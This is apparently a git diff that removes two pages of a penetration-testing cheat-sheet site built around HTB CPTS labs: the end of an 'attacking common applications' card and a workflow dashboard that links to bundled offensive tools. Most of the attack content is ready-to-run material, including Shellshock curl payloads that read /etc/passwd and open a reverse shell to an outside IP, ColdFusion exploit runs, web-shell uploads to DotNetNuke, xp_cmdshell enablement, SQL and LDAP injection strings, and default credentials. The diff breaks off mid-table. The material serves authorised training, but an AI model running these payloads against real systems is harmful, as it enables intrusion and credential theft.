CGI script (-x cgi appends the extension; 200 w/ 0-length body still worth testing) -gobuster dir -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi -feroxbuster -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi - -# Exploit via User-Agent (also works in Referer / Cookie) -curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s '' http://$IP/cgi-bin/access.cgi - -# Reverse shell (as www-data) -curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://$IP/cgi-bin/access.cgi -sudo nc -lvnp 7777 -# patched Bash requires the BASH_FUNC_ prefix -``` - ---- - -## 11 · Thick Client Applications `fas:Terminal` — Windows - -**Toolkit:** Ghidra, IDA, **dnSpyEx**/dnSpy, JADX, JD-GUI, de4dot, x64dbg, ProcMon, Frida, Wireshark/tcpdump, Burp. - -- **Hardcoded creds from memory** (Restart-Oracle-Service pattern): watch with ProcMon for a temp file in `%LOCALAPPDATA%\Temp`; on that folder disable inheritance + deny "Delete"/"Delete subfolders and files" so it can't self-clean, re-run to capture the dropped `.bat`, then decode the base64 dropper. Or dump from x64dbg: Memory Map → find an `-RW--` region with an `MZ` header (embedded PE) → **Dump Memory to File** → `strings64.exe dump.bin`; `de4dot` deobfuscates .NET, `dnSpy` decompiles to C#. -- **Client/server (Fatty pattern):** grep the client jar for the port, patch Spring `beans.xml`, strip SHA-256 digests + `.RSA`/`.SF` from `META-INF/MANIFEST.MF`, rebuild with `jar -cmf`. -```powershell -Select-String -Path fatty-client\* -Pattern "8000" -Recurse -``` -- **Path-traversal + SQLi in decompiled logic (JD-GUI):** patch `currentFolder = "configs"` → `".."` (server filters `/` but not `..`); the login query is unsanitised: -```text -Login username: qtc' UNION SELECT 1,'abc','a@a','abc','admin -Login password: abc -``` -Password is hashed client-side (`SHA-256(username+password+secret)`) → patch `setPassword()` to send plaintext so the UNION literal matches. - ---- - -## 12 · ColdFusion `fas:Terminal` — Windows, port 8500, `.cfm`/`.cfc` - -```bash -# Fingerprint: 8500, /CFIDE/administrator/index.cfm, Server: ColdFusion -nmap -p- -sC -Pn $IP --open -searchsploit adobe coldfusion - -# CVE-2010-2861 · dir traversal (≤ 9.0.1) → leaks CF admin hash in password.properties -searchsploit -p 14641 && cp /usr/share/exploitdb/exploits/multiple/remote/14641.py . -python2 14641.py $IP 8500 "../../../../../../../../ColdFusion8/lib/password.properties" - -# CVE-2009-2265 · unauth FCKeditor upload RCE (≤ 8.0.1) → shell as CF service account -searchsploit -p 50057 && cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py . -python3 50057.py # set lhost/lport/rhost/rport inside; uploads JSP, triggers, self-cleans -``` -Windows CF service accounts typically hold `SeImpersonatePrivilege` → [04 - Windows Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/windows-privesc-cpts) with `[winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc))` / `[PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc))`. - ---- - -## 13 · IIS Tilde (8.3 short-name) Enumeration `fas:Terminal` — Windows/IIS - -```bash -nmap -p- -sV -sC --open $IP # Microsoft IIS httpd 7.5 - -# Scanner (needs Oracle Java) — reveals ~1 short names (ASPNET~1, TRANSF~1.ASP, CSASPX~1.CS) -java -jar iis_shortname_scanner.jar 0 5 http://$IP/ - -# Build a wordlist from the recovered prefix, then recover the full name -egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt -gobuster dir -u http://$IP/ -w /tmp/list.txt -x .aspx,.asp -# tool: github.com/irsdl/IIS-ShortName-Scanner [HTB: Bounty] -``` -Recovered `.asp`/`.aspx` endpoints are prime upload targets — remember the language split: VBScript → `[rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc))`, C# → `[nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc))`. - ---- - -## 14 · DotNetNuke (DNN) `fas:Terminal` — Windows/IIS, MSSQL - -ASP.NET CMS seen on real engagements and in the **Attacking Enterprise Networks** module labs — treat it as a first-class IIS target alongside WordPress on LAMP. - -```bash -# Fingerprint: IIS + .aspx + DNN markers -curl -s http://$IP/ | grep -iE 'dnn|dotnetnuke' # "DNN Platform", __RequestVerificationToken, /Portals/ paths -# SuperUser/host login portal: -curl -s "http://$IP/Login?returnurl=%2fadmin" -# /Portals/_default · /DesktopModules · Install/InstallWizard.aspx (re-install prompt = juicy if left open) -``` - -**Credential angle — NFS share leaks `web.config` (AEN module pattern):** DNN boxes frequently sit next to a misconfigured NFS export of the web root. Mount it, pull `web.config`, and harvest the `<connectionStrings>` MSSQL credentials plus any documented admin/SuperUser passwords (module example: `Administrator:D0tn31Nuk3R0ck$$@123`) → log straight in at `/Login?returnurl=%2fadmin`. - -```bash -showmount -e $IP -sudo mount -t nfs $IP:/DEV01 /mnt/dnn -grep -iE 'connectionstring|password' /mnt/dnn/DNN/web.config -``` - -**RCE — Allowable File Extensions abuse (host/SuperUser required):** -1. Persona bar → **Settings → Security → More → More Security Settings** → append `asp,aspx` (even `exe`) to **Allowable File Extensions** → Save. -2. **Settings → File Management** (or Site Assets) → upload the C# ASPX shell `[nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc))` — **never** the VBScript `.asp` variant unless you explicitly target classic ASP (wrong language in a `.aspx` = `Server Error in '/' Application`). -3. Trigger: `http://$IP/Portals/0/nt-webshell-rosepine.aspx` — executes as the IIS apppool identity. - -**RCE — SQL Console → xp_cmdshell** (host account → **Settings → SQL Console**; DNN's connection usually runs as a privileged SQL login): - -```sql -EXEC sp_configure 'show advanced options', '1'; RECONFIGURE; -EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE; -xp_cmdshell 'whoami'; -- nt service\mssql$sqlexpress -``` - -> [!tip]+ Post-ex hand-off -> `fas:ArrowUp` -> Both paths (IIS apppool via upload, `nt service\mssql$` via xp_cmdshell) hold `SeImpersonatePrivilege` → [04 - Windows Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/windows-privesc-cpts): stage `[winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc))`, then `[PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc))` for `NT AUTHORITY\SYSTEM`. - ---- - -## 15 · LDAP Injection & Web Mass Assignment `fas:Terminal` - -```bash -# Direct LDAP query (389 / LDAPS 636) -ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 \ - -b "ou=people,dc=example,dc=com" "(mail=jdoe@example.com)" - -# Fingerprint an LDAP-backed login -nmap -p- -sC -sV --open --min-rate=1000 $IP # 389 OpenLDAP alongside the web app -``` - -**LDAP injection auth bypass** — special chars `* ( ) & |`: -```text -Username: * -Password: * -# → (&(objectClass=user)(sAMAccountName=*)(userPassword=*)) matches any user -``` - -**Mass assignment** — an unlisted field (`confirmed`, `admin`, `role`) is bound straight into the insert. Add it to the request body in Burp: -```http -POST /register -username=new&password=test&confirmed=test -# Rails equivalent: add "admin: true" to the user hash (defeats weak attr_accessible) -``` - ---- - -## Honourable mentions & hardening `ris:GlobalLine` - -| App | Abuse / default creds | -|---|---| -| **Axis2** | On Tomcat; default admin → upload web shell as `.AAR` (msf module exists) | -| **WebSphere** | Default `system:manager` → deploy WAR for RCE | -| **Elasticsearch** | Unauth instances + multiple CVEs [HTB: Haystack] | -| **Zabbix** | SQLi, auth bypass, LDAP pw disclosure, API-abuse RCE [HTB: Zipper] | -| **Nagios** | Default `nagiosadmin:PASSW0RD`; RCE + root privesc | -| **WebLogic** | 190+ CVEs, many unauth RCE (Java deserialization) | -| **DotNetNuke** | Auth bypass, dir traversal, file-upload bypass — full chain in §14 | -| **vCenter** | **CVE-2021-22005** unauth OVA-upload RCE; often SYSTEM/domain admin | - -**Hardening quick ref:** disable in-browser PHP editing (WP Theme Editor, Drupal PHP Filter); WP → WordFence + MFA; Tomcat → restrict Manager to localhost/IP-whitelist and purge sample users from `tomcat-users.xml`; Jenkins → Matrix Authorization; Splunk/PRTG → change defaults + patch; GitLab → sign-up restrictions; DNN → lock down Allowable File Extensions, remove the SQL Console from host menus, and never export the web root over NFS. WAF is defence-in-depth only. - ---- - -## Evidence & cleanup checklist `fas:Broom` - -- [ ] Save the exact URL, virtual host, product/version evidence, account context, and request or console action. -- [ ] Hash every uploaded WAR, plugin, module, script, or executable and record its destination path. -- [ ] Record configuration changes: enabled script consoles, notification actions, themes/plugins, tasks, created users, and **allowable file extensions** (DNN) or **xp_cmdshell** toggles. -- [ ] Remove uploaded payloads and temporary users; restore edited files/settings from a known baseline (`sp_configure 'xp_cmdshell', '0'; RECONFIGURE;` and re-lock DNN extensions). -- [ ] Re-request the affected route and check the filesystem/process list to confirm the backdoor no longer exists. -- [ ] Move recovered hosts, users, and credentials into the scoped target matrix; keep actual secrets in protected storage. - ---- - -## Quick CVE index `ris:GlobalLine` - -| CVE | App | Type | Tool / Module | -|---|---|---|---| -| CVE-2020-24186 | WP wpDiscuz | unauth upload RCE | `wp_discuz.py` | -| CVE-2019-10945 | Joomla 1.5.0–3.9.4 | auth traversal + delete | `joomla_dir_trav.py` | -| CVE-2014-3704 | Drupal 7.0–7.31 | pre-auth SQLi (Drupalgeddon) | `drupalgeddon.py` | -| CVE-2018-7600 | Drupal <7.58/<8.5.1 | pre-auth RCE (Drupalgeddon2) | `drupalgeddon2.py` | -| CVE-2018-7602 | Drupal | auth RCE (Drupalgeddon3) | `drupal_drupageddon3` | -| CVE-2020-1938 | Tomcat <9.0.31 | unauth AJP LFI (Ghostcat) | `tomcat-ajp.lfi.py` | -| CVE-2019-0232 | Tomcat (Win CGI) | command injection | ffuf + URL-encoded query | -| CVE-2019-1003000 (+2018-1999002) | Jenkins 2.137 | pre-auth RCE | Script Console | -| CVE-2018-9276 | PRTG <18.2.39 | auth command injection | Notification "Execute Program" | -| CVE-2026-22200 | osTicket ≤1.18.2/≤1.17.6 | unauth file read → CNEXT RCE | ticket PDF export (mPDF) | -| CVE-2017-15580 | osTicket 1.10.1 | unrestricted file upload | extension swap in ticket reply | -| CVE-2021-22205 | GitLab | unauth ExifTool RCE | (successor) | -| — | GitLab CE ≤13.10.2 | auth RCE | `gitlab_13_10_2_rce.py` (EDB 49951) | -| CVE-2014-6271 | Bash/CGI | Shellshock | `curl -H 'User-Agent: () { :; };…'` | -| CVE-2010-2861 | ColdFusion ≤9.0.1 | traversal → hash leak | `14641.py` | -| CVE-2009-2265 | ColdFusion ≤8.0.1 | unauth FCKeditor RCE | `50057.py` | -| CVE-2021-22005 | vCenter | unauth OVA-upload RCE | — | - -**Default creds:** Tomcat `tomcat:tomcat`/`tomcat:s3cret` · Splunk `admin:changeme` · PRTG `prtgadmin:prtgadmin` · Nagios `nagiosadmin:PASSW0RD` · WebSphere `system:manager`. -**Key ports:** Tomcat 8080/8180 · AJP 8009 · Jenkins agent 5000 · Splunk 8000/8089 · PRTG 8080 · ColdFusion 8500 · GitLab lab 8081 · LDAP 389/636 · MSSQL 1433 (DNN SQL Console) · NFS 2049 (DNN `web.config` leak). - ---- - -## Lessons Learned `fas:Lightbulb` - -1. **Version is the whole game.** Every CVE here is gated on an exact version — pull it from the meta generator, `CHANGELOG.txt`, `joomla.xml`, `/docs`, or a favicon hash before choosing an exploit. -2. **Admin console = RCE.** WordPress/Joomla/Drupal editors, the Jenkins Script Console, Tomcat Manager, and the DNN host menus all turn "I'm logged in as admin" into code execution — default creds and a short spray get you there more often than a CVE. -3. **Upload = plant a backdoor.** WAR/plugin/custom-app uploads leave a live shell on disk; note the path and remove it at cleanup. Standardise on the rp-shell family — and match language to extension (VBScript → `.asp`, C# → `.aspx`) or IIS answers with `Server Error in '/' Application`. -4. **Apps hold creds for other systems.** Config files, connection strings (thick clients, ELF/DLL reversing, DNN `web.config` over an open NFS share), and osTicket/GitLab secrets feed straight into [service attacks](/sheets/pentest-workflow/attacking-common-services) and lateral movement — always test recovered creds for reuse. -5. **The database is an execution engine.** DNN's SQL Console (and any MSSQL admin path) is one `sp_configure 'xp_cmdshell', '1'` away from a shell as the SQL service account — check `SeImpersonatePrivilege` immediately after. -6. **`dev`/`qa`/`acc` first.** Non-prod copies are patched last and gated loosest. - -## References `fas:BookOpen` - -1. [HTB Academy — Attacking Common Applications](https://academy.hackthebox.com/module/details/113) -2. [HTB Academy — Attacking Enterprise Networks (DNN / web.config / PrintSpoofer chain)](https://academy.hackthebox.com/course/preview/attacking-enterprise-networks) -3. [WPScan](https://github.com/wpscanteam/wpscan) · [droopescan](https://github.com/SamJoan/droopescan) -4. [tennc/webshell (JSP cmd.jsp)](https://github.com/tennc/webshell) -5. [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) -6. [WordPress Developer Resources — Editing wp-config.php](https://developer.wordpress.org/advanced-administration/wordpress/wp-config/) -7. [Jenkins — System Configuration](https://www.jenkins.io/doc/book/managing/system-configuration/) -8. [DNN Platform (source & docs)](https://github.com/dnnsoftware/Dnn.Platform) -9. [CsEnox/Gitlab-Exiftool-RCE](https://github.com/CsEnox/Gitlab-Exiftool-RCE) · [Exploit-DB 49951 — GitLab 13.10.2 authenticated RCE](https://www.exploit-db.com/exploits/49951) · [NVD — CVE-2021-22205](https://nvd.nist.gov/vuln/detail/CVE-2021-22205) -10. [Horizon3.ai — Ticket to Shell: osTicket CVE-2026-22200](https://horizon3.ai/attack-research/attack-blogs/ticket-to-shell-exploiting-php-filters-and-cnext-in-osticket-cve-2026-22200/) · [horizon3ai/CVE-2026-22200 PoC](https://github.com/horizon3ai/CVE-2026-22200) -11. [PayloadsAllTheThings — CMS / app attack notes](https://github.com/swisskyrepo/PayloadsAllTheThings) - ---- - -[← Previous: Common Services](/sheets/pentest-workflow/attacking-common-services) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Next: Linux PrivEsc →](/sheets/pentest-workflow/linux-privesc-cpts) diff --git a/src/content/sheets/pentest-workflow/attacking-common-modules-dashboard.md b/src/content/sheets/pentest-workflow/attacking-common-modules-dashboard.md @@ -1,157 +0,0 @@ ---- -title: "HTB Pentest Workflow — CPTS Cheat Sheets" -description: "Focused CPTS reference cards for services, applications, privilege escalation, shells, TTY handling, and post-exploitation." -category: pentest-workflow -subcategory: "General CPTS Cheatsheets" -order: 24 -tags: ["htb", "cpts", "penetration-testing", "attacking-common", "privesc", "shells", "pentest-workflow"] -tools: [] -difficulty: intermediate -updated: "2026-08-29" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/00 - Attacking Common Modules Dashboard.md" ---- -# HTB Pentest Workflow — CPTS Cheat Sheets - -> [!dashboard] Workspace -> **Sibling section:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) — the end-to-end kill chain. -> -> **This section** keeps six CPTS reference cards together: common services, common applications, Linux and Windows privilege escalation, web shells, and TTY/restricted-shell handling. Use them as focused lookups alongside the linear attack-flow playbook. -> -> **Source modules:** 8 · Shells and Payloads · 11 · Attacking Common Services · 24 · Attacking Common Applications · 25 · Linux Privilege Escalation · 26 · Windows Privilege Escalation - -> [!warning] Authorized targets only -> Every command here is for engagements or labs where you hold explicit written permission. Record scope, timestamps, commands, and evidence as you work; prefer the least invasive test that proves the path. - -## Quick Setup - -> [!tip] Set the engagement context once -> Keep target details in the shell so commands stay readable and target mix-ups are less likely. - -```bash -export IP="10.10.10.10" -export TARGET="target.htb" -export DOMAIN="inlanefreight.local" -export LHOST="10.10.14.2" -export U="username" -export P="password" -printf '%s\t%s\n' "$IP" "$TARGET" | sudo tee -a /etc/hosts -``` - -## Where these fit in the kill chain - -<figure class="flow plate corners"> - <figcaption class="flow__cap"><span class="flow__kind">Where these cards fit</span><span class="flow__dir">LR</span></figcaption> - <div class="flow__body"> - <svg class="flow-svg" viewBox="0 0 2430 320" role="img" aria-label="Recon leads to an application-or-service decision, then via web shell or raw foothold and a TTY upgrade to an OS decision, Linux or Windows privilege escalation to root or SYSTEM, and finally loot, pivot and report"> - <!-- edges --> - <path class="fedge" d="M185,160 L265,160" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M415,160 L520,160 L520,60 L625,60" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M415,160 L520,160 L520,260 L625,260" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M775,60 L855,60" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M1005,60 L1085,150" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M700,84 L700,112 L1160,112 L1160,136" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M700,236 L700,212 L1160,212 L1160,184" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M1235,160 L1315,160" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M1465,160 L1545,160" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M1695,160 L1735,160 L1735,60 L1775,60" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M1695,160 L1735,160 L1735,260 L1775,260" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M1925,60 L2005,60" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M1925,260 L2005,260" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M2155,60 L2195,60 L2195,160 L2235,160" marker-end="url(#flow-arrow)" /> - <path class="fedge" d="M2155,260 L2195,260 L2195,160 L2235,160" marker-end="url(#flow-arrow)" /> - <!-- nodes --> - <g class="fnode is-entry"><rect class="fnode__box" x="35" y="136" width="150" height="48" /><text class="fnode__label" x="110" y="164" text-anchor="middle">Recon / Host Discovery</text></g> - <g class="fnode is-decision"><rect class="fnode__box" x="265" y="136" width="150" height="48" /><text class="fnode__label" x="340" y="164" text-anchor="middle">What answered?</text></g> - <g class="fnode"><rect class="fnode__box" x="625" y="36" width="150" height="48" /><text class="fnode__label" x="700" y="57" text-anchor="middle">Attacking Common<tspan class="sub" x="700" dy="15">Applications</tspan></text></g> - <g class="fnode"><rect class="fnode__box" x="625" y="236" width="150" height="48" /><text class="fnode__label" x="700" y="257" text-anchor="middle">Attacking Common<tspan class="sub" x="700" dy="15">Services</tspan></text></g> - <g class="fnode"><rect class="fnode__box" x="855" y="36" width="150" height="48" /><text class="fnode__label" x="930" y="57" text-anchor="middle">Web shell<tspan class="sub" x="930" dy="15">when the stack supports it</tspan></text></g> - <g class="fnode"><rect class="fnode__box" x="1085" y="136" width="150" height="48" /><text class="fnode__label" x="1160" y="164" text-anchor="middle">Raw foothold</text></g> - <g class="fnode"><rect class="fnode__box" x="1315" y="136" width="150" height="48" /><text class="fnode__label" x="1390" y="157" text-anchor="middle">TTY / interactive<tspan class="sub" x="1390" dy="15">shell upgrade</tspan></text></g> - <g class="fnode is-decision"><rect class="fnode__box" x="1545" y="136" width="150" height="48" /><text class="fnode__label" x="1620" y="164" text-anchor="middle">Target OS?</text></g> - <g class="fnode"><rect class="fnode__box" x="1775" y="36" width="150" height="48" /><text class="fnode__label" x="1850" y="64" text-anchor="middle">Linux PrivEsc</text></g> - <g class="fnode"><rect class="fnode__box" x="1775" y="236" width="150" height="48" /><text class="fnode__label" x="1850" y="264" text-anchor="middle">Windows PrivEsc</text></g> - <g class="fnode is-goal"><rect class="fnode__box" x="2005" y="36" width="150" height="48" /><text class="fnode__label" x="2080" y="64" text-anchor="middle">root</text></g> - <g class="fnode is-goal"><rect class="fnode__box" x="2005" y="236" width="150" height="48" /><text class="fnode__label" x="2080" y="264" text-anchor="middle">SYSTEM / admin</text></g> - <g class="fnode"><rect class="fnode__box" x="2235" y="136" width="150" height="48" /><text class="fnode__label" x="2310" y="164" text-anchor="middle">Loot · Pivot · Report</text></g> - <!-- edge labels --> - <g class="felabel"><rect class="felabel__box" x="445" y="96" width="150" height="28" /><text class="felabel__text" x="520" y="107" text-anchor="middle">web app on a port<tspan class="sub" x="520" dy="13">(WP, Tomcat, Jenkins…)</tspan></text></g> - <g class="felabel"><rect class="felabel__box" x="417" y="196" width="206" height="28" /><text class="felabel__text" x="520" y="207" text-anchor="middle">network service<tspan class="sub" x="520" dy="13">(FTP, SMB, SQL, RDP, DNS, SMTP)</tspan></text></g> - <g class="felabel"><rect class="felabel__box" x="1713" y="102" width="44" height="16" /><text class="felabel__text" x="1735" y="113" text-anchor="middle">Linux</text></g> - <g class="felabel"><rect class="felabel__box" x="1707" y="202" width="56" height="16" /><text class="felabel__text" x="1735" y="213" text-anchor="middle">Windows</text></g> - </svg> - </div> -</figure> - -## Section Index - -| # | Cheat Sheet | Covers | -|---:|---|---| -| 01 | [Attacking Common Services](/sheets/pentest-workflow/attacking-common-services) · [Full walkthrough guide](/sheets/pentest-workflow/attacking-common-services-guide) · [Field manual](/sheets/pentest-workflow/network-service-attack-manual) | One-stop attack surface card, a section-by-section module walkthrough, plus a long-form field manual for FTP · SMB · SQL (MySQL/MSSQL) · RDP · DNS · Email (SMTP/POP3/IMAP), evidence, cleanup, failure analysis, and multi-service chains | -| 02 | [Attacking Common Applications](/sheets/pentest-workflow/attacking-common-applications) | Fingerprint-to-foothold chains for WordPress · Joomla · Drupal · Tomcat · Jenkins · Splunk · PRTG · osTicket · GitLab · CGI/Shellshock · ColdFusion · IIS Tilde · LDAP/Mass-Assignment | -| 03 | [Linux Privilege Escalation](/sheets/pentest-workflow/linux-privesc-cpts) | Linux root paths: enumeration · cron/systemd/PATH · credentials · sudo · containers/Kubernetes · kernel/SUID/capabilities · NFS/tmux/logrotate | -| 04 | [Windows Privilege Escalation](/sheets/pentest-workflow/windows-privesc-cpts) | Windows SYSTEM/admin paths: token and group abuse · UAC · services/registry · scheduled tasks/autoruns · kernel/DLL · credentials · LOLBAS | -| 05 | [Web Shells](/sheets/pentest-workflow/web-shells) | Turning file upload into code execution — defaults to the bundled **rp-shell family** (PHP/ASP/ASPX/JSP) · stack selection · upload paths and filters · validation · troubleshooting · cleanup | -| 06 | [TTY Upgrades & Restricted Shells](/sheets/pentest-workflow/tty-upgrades-and-restricted-shells) | Stabilizing the foothold: PTY allocation · stty/socat/listeners · geometry/signals · SSH · Meterpreter · rbash escapes · Windows ConPTY | - -## Operator Toolkit — bundled attachments `fas:Toolbox` - -Every binary and script below ships in this note's `attachments/` folder so the cards work offline. Stage them on your attack box, transfer with the methods in [sheet 01](/sheets/pentest-workflow/attacking-common-services), and clean up per each card's opsec notes. - -| File | Platform | Purpose | First used in | -|---|---|---|---| -| [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc)) | Windows | SeImpersonate → SYSTEM LPE (needs Print Spooler) | [Sheet 04](/sheets/pentest-workflow/windows-privesc-cpts) · AEN module | -| [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256.asc))<br>[GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256.asc)) | Windows | SeImpersonate → SYSTEM when Spooler is disabled (Server 2012–2022 / Win8–11) | [Sheet 04](/sheets/pentest-workflow/windows-privesc-cpts) | -| [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/nc64.exe.sha256.asc)) | Windows | nc.exe stand-in — reverse-shell callbacks & pivots | [Sheet 04](/sheets/pentest-workflow/windows-privesc-cpts) · [Sheet 06](/sheets/pentest-workflow/tty-upgrades-and-restricted-shells) | -| [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc))<br>[winPEASany.exe](/downloads/pentest-workflow/winPEASany.exe) ([SHA-256](/downloads/pentest-workflow/winPEASany.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASany.exe.sha256.asc)) | Windows | Automated privesc enumeration | [Sheet 04](/sheets/pentest-workflow/windows-privesc-cpts) | -| [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc))<br>[linpeas_linux_amd64](/downloads/pentest-workflow/linpeas_linux_amd64) ([SHA-256](/downloads/pentest-workflow/linpeas_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas_linux_amd64.sha256.asc)) | Linux | Automated privesc enumeration | [Sheet 03](/sheets/pentest-workflow/linux-privesc-cpts) | -| [pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc))<br>[pspy32](/downloads/pentest-workflow/pspy32) ([SHA-256](/downloads/pentest-workflow/pspy32.sha256) · [GPG signature](/downloads/pentest-workflow/pspy32.sha256.asc)) | Linux | Unprivileged process / cron monitoring | [Sheet 03](/sheets/pentest-workflow/linux-privesc-cpts) | -| [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc))<br>[chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc)) | Win / Linux | Fast SOCKS / port-forward tunneling | [Sheet 01](/sheets/pentest-workflow/attacking-common-services) · [Sheet 06](/sheets/pentest-workflow/tty-upgrades-and-restricted-shells) | -| [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc))<br>[ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc)) | Win / Linux | TUN-based pivoting (replaces proxychains) | [Sheet 01](/sheets/pentest-workflow/attacking-common-services) · [Sheet 06](/sheets/pentest-workflow/tty-upgrades-and-restricted-shells) | -| [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc)) | Windows | Credential extraction, DCSync | [Sheet 04](/sheets/pentest-workflow/windows-privesc-cpts) | -| [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256) · [GPG signature](/downloads/pentest-workflow/SharpHound.zip.sha256.asc)) | Windows | BloodHound collector (exe + ps1) | [Sheet 04](/sheets/pentest-workflow/windows-privesc-cpts) | -| [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc)) | Windows | AD enumeration / ACL abuse | [Sheet 04](/sheets/pentest-workflow/windows-privesc-cpts) | -| [PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerUp.ps1.sha256.asc)) | Windows | Privesc checks | [Sheet 04](/sheets/pentest-workflow/windows-privesc-cpts) | -| [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc))<br>[rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG 